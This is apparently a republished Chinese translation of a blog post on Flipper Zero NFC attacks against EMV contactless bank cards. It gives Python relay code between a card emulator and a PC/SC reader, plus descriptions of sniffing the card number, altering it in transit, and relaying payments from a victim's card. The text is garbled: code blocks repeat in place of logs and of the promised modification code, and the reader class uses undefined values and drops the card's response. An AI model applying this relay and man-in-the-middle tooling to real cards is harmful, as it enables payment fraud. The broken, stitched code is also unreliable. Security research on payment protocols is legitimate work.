在上一篇文章中，我们探讨了 Flipper 如何充当 NFC 非接触式读卡器和 NFC 卡模拟器。当我们将这两个功能结合起来时，读卡器交易的一系列潜在攻击场景就会显现出来：
在这篇文章中，我们将详细解答这三个问题。
上图（此处提供更高质量）说明了我们旨在为测试前面描述的各种攻击而建立的设置。
之前，我们将所有数据处理逻辑卸载到在 Flipper 外部运行的 Python 脚本。这种方法消除了每当我们想要进行更改时更新或上传新固件的需要。然而，出现了一个问题：这个 Python 代理会引入延迟，从而破坏通信并导致通信失败吗？
在回答这个问题之前，让我们看一下将用于设置此配置的 Python 脚本。
在上一篇博文中，我们介绍了此设置的两个主要组成部分：
现在，只需将两者连接在一起即可。我们到底在说什么？
这些对阅读器的要求导致了抽象 Reader 类的创建，如下所述。此外，我们还引入了一种与读者建立连接的方法。
class Reader():
def __init__(self):
pass
def connect(self):
pass
def field_off(self):
pass
def field_on(self):
pass
def process_apdu(self, data: bytes) -> bytes:
pass
接下来，我们在下面创建一个极简的 PCSCReader 类来与 PC/SC 阅读器交互。
class PCSCReader(Reader):
def __init__(self):
pass
def connect(self):
available_readers = readers()
if len(available_readers) == 0:
print("No card reader avaible.")
sys.exit(1)
# We use the first detected reader
reader = available_readers[0]
print(f"Reader detected : {reader}")
# Se connecter à la carte
self.connection = reader.createConnection()
self.connection.connect()
def process_apdu(self, data: bytes) -> bytes:
print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
resp = bytes(data + [sw1, sw2])
print(f"apdu resp: {resp.hex()}")
return resp
现在，我们可以继续实现卡模拟器，简称Emu，如下所示。它接受一个可选的 Reader 对象作为参数。如果提供，它会与读者建立连接。
class Emu(Iso14443ASession):
def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
Iso14443ASession.__init__(self, cid, nad, drv, block_size)
self._addCID = False
self.drv = self._drv
self.process_function = process_function
self._pcb_block_number: int = 1
# Set to one for an ICC
self._iblock_pcb_number = 1
self.iblock_resp_lst = []
self.reader = reader
if self.reader:
self.reader.connect()
接下来，我们定义三种方法来向阅读器传达事件：关闭字段、打开字段以及发送 APDU。
# class Emu(Iso14443ASession):
def field_off(self):
print("field off")
if self.reader:
self.reader.field_off()
def field_on(self):
print("field on")
if self.reader:
self.reader.field_on()
def process_apdu(self, apdu):
if self.reader:
return self.reader.process_apdu(apdu)
else:
self.process_function(apdu)
接下来，我们改进了负责在 TPDU 级别管理卡模拟器命令通信的方法。值得注意的是，当收到完整的 APDU 命令时，将调用 process_apdu 方法将其转发给读卡器并从实际卡中检索响应。
# class Emu(Iso14443ASession):
def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]:
print("r block")
if tpdu == "BA00BED9":
rtpdu, crc = "BA00", True
elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]:
if len(self.iblock_resp_lst):
rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True
else:
rtpdu = self.build_rblock(ack=True).hex()
crc = True
return rtpdu, crc
def low_level_dispatcher(self):
capdu = bytes()
ats_sent = False
iblock_resp_lst = []
while 1:
r = fz.emu_get_cmd()
rtpdu = None
print(f"tpdu < {r}")
if r == "off":
self.field_off()
elif r == "on":
self.field_on()
ats_sent = False
else:
tpdu = Tpdu(bytes.fromhex(r))
if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False):
rtpdu, crc = "0A788082022063CBA3A0", True
ats_sent = True
elif tpdu.r:
rtpdu, crc = self.rblock_process(tpdu)
elif tpdu.s:
print("s block")
# Deselect
if len(tpdu._inf_field) == 0:
rtpdu, crc = "C2E0B4", False
# Otherwise, it is a WTX
elif tpdu.i:
print("i block")
capdu += tpdu.inf
if tpdu.is_chaining() is False:
rapdu = self.process_function(capdu)
capdu = bytes()
self.iblock_resp_lst = self.chaining_iblock(data=rapdu)
rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True
print(f">>> rtdpu {rtpdu}\n")
fz.emu_send_resp(bytes.fromhex(rtpdu), crc)
最后，我们实现了用于从 Flipper Zero 启动卡模拟的方法。
# class Emu(Iso14443ASession):
def run(self):
self.drv.start_emulation()
print("...go!")
self.low_level_dispatcher()
Python 脚本已准备就绪；现在让我们看一下用于测试它们的硬件设置。
下面是我们对攻击环境的小型复制。从左到右，我们有：
完美，我们现在拥有执行攻击所需的所有组件！来战斗吧！
我们可以首先尝试嗅探，这意味着来自 Flipper 的 APDU 命令/响应将被转发到卡，而不进行任何修改。
这工作完美并且保持稳定，Python 代码充当中介，没有明显的影响！如果 Python 代理增加了太多延迟并且终端开始抱怨卡太慢，我们已经解决了这个问题。我还没有时间实施的东西：
以下是日志的摘录。
class Reader():
def __init__(self):
pass
def connect(self):
pass
def field_off(self):
pass
def field_on(self):
pass
def process_apdu(self, data: bytes) -> bytes:
pass
事实上，一张卡上可以安装数百个不同的应用程序，每个应用程序都有自己独特的 AID。终端不会尝试一一尝试它们。这就是为什么在非接触式银行领域中，所有卡上都有一个特定的应用程序，旨在指示卡上可用的银行应用程序。其 AID 为 325041592e5359532e4444463031，转换为 ASCII 为 2PAY.SYS.DDF01。
在稍后的通信中，我们可以看到这个应用程序被调用（如下图）。因此，如前所述，之前选择的 AID D2760000850101 的应用程序似乎不寻常。
class PCSCReader(Reader):
def __init__(self):
pass
def connect(self):
available_readers = readers()
if len(available_readers) == 0:
print("No card reader avaible.")
sys.exit(1)
# We use the first detected reader
reader = available_readers[0]
print(f"Reader detected : {reader}")
# Se connecter à la carte
self.connection = reader.createConnection()
self.connection.connect()
def process_apdu(self, data: bytes) -> bytes:
print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
resp = bytes(data + [sw1, sw2])
print(f"apdu resp: {resp.hex()}")
return resp
解析响应时，您可以看到它表明（以及其他详细信息）存在 AID A0000000041010 的应用程序，该应用程序对应于 MasterCard。
因此，手机最终选择了这个应用程序。
随后，它会从卡中检索各种详细信息，包括主帐号 (PAN)。卡上显示的数字与终端上显示的数字相符，确认我们依靠简单嗅探的中继攻击成功了！
当然，像 Proxmark 这样的工具可以使嗅探变得更加简单，但是当你可以让它变得复杂时，为什么还要让它变得简单;) ?
现在，让我们继续进行中间人攻击。这意味着我们不仅会倾听沟通，还会积极改变它。一个有趣的用例可能是修改卡号，例如将 5132 更改为 6132。
回顾我们之前通信的日志，我们可以看到这些数据都是以明文形式传输的。使用 READ RECORD 命令（如 00B2010C00 和 00B2011400）从卡中检索它们。
由于数据未加密且缺乏完整性保护，我们可以根据需要对其进行修改。为了实现这一点，我们只需更新 PCSCReader 类中的 process_apdu 方法来处理更改。
class Emu(Iso14443ASession):
def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
Iso14443ASession.__init__(self, cid, nad, drv, block_size)
self._addCID = False
self.drv = self._drv
self.process_function = process_function
self._pcb_block_number: int = 1
# Set to one for an ICC
self._iblock_pcb_number = 1
self.iblock_resp_lst = []
self.reader = reader
if self.reader:
self.reader.connect()
并且如下图所示，应用程序完全不知道修改！
为什么它有效？答案如下图所示，描述了不同的通信层：
我们也可以玩得开心……由于修改仓促，所以偶尔会随机更改数据。在一个实例中，如下图所示，这导致应用程序显示卡号的大量字符，即使它应该限制为 16 位数字！
这为模糊实验开辟了一些有趣的可能性。
正如本文开头提到的，中继攻击包括拦截并中继两方（例如 NFC 卡和终端）之间的通信而不对其进行更改，欺骗终端相信它正在与合法的设备进行通信实时打卡。
黑客想要在终端上付款。他将终端的通信转发给受害者附近的同伙，然后同伙在他不知情的情况下与受害者的卡进行通信。
之前的实验证明这种攻击在受控环境中是可行的，比如车库。然而，在现实场景中，还需要考虑其他挑战。
针对中继攻击的主要对策之一是测量通信的时间，因为中继会引入明显的延迟。然而，较旧的 EMV 协议不包含促进此类时序检查的命令。
我们已经到达这篇博文的结尾了。我希望您喜欢这些内容！ Python 代码和修改后的 Flipper Zero 固件可以在我的 GitHub 上找到。
https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware
以上是Flipper Zero NFC 黑客攻击 - EMV 银行、中间人和中继攻击的详细内容。更多信息请关注PHP中文网其他相关文章！
